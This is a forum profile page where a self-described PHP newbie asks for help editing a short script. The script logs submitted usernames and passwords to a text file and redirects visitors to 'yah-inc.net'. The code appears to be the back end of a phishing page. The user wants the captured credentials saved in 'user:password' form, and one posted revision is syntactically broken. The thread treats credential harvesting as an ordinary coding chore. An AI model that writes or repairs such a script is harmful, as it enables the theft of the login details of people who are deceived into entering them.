Neep Help
-
Posts
8 -
Joined
-
Last visited
Never
Posts posted by Neep Help
-
-
okay mate!
-
that is when i check the userlog.txt i get that weird stuff, not sure about the os but is it running apache
-
Toon what i got when i did that was [code][/code] ???
-
okay i changed the hearder and put it at the bottom..it does not log anything, i have no idea what i could possibly be doing wrong ???
-
the header is not a problem, i just have no idea where to add the code you posted!! ???
-
So my code in all would be?
[code]<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/code]
it does not work, i am a newbie to php..could you explain more...thanks :-[ -
Hi all, I am in need of help editing this tiney php code. It saves in this format:
user=guest
password=password1
I would like one of you to alter the code so it saves in this format:
guest:password1
I have no idea how to do this help please!! ??? :-[
[code]<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/code]
Log help! - HELPED ALREADY THANKS TOON!
in PHP Coding Help
Posted
Toon helped me solve my problem - Thanks again buddy!! ;D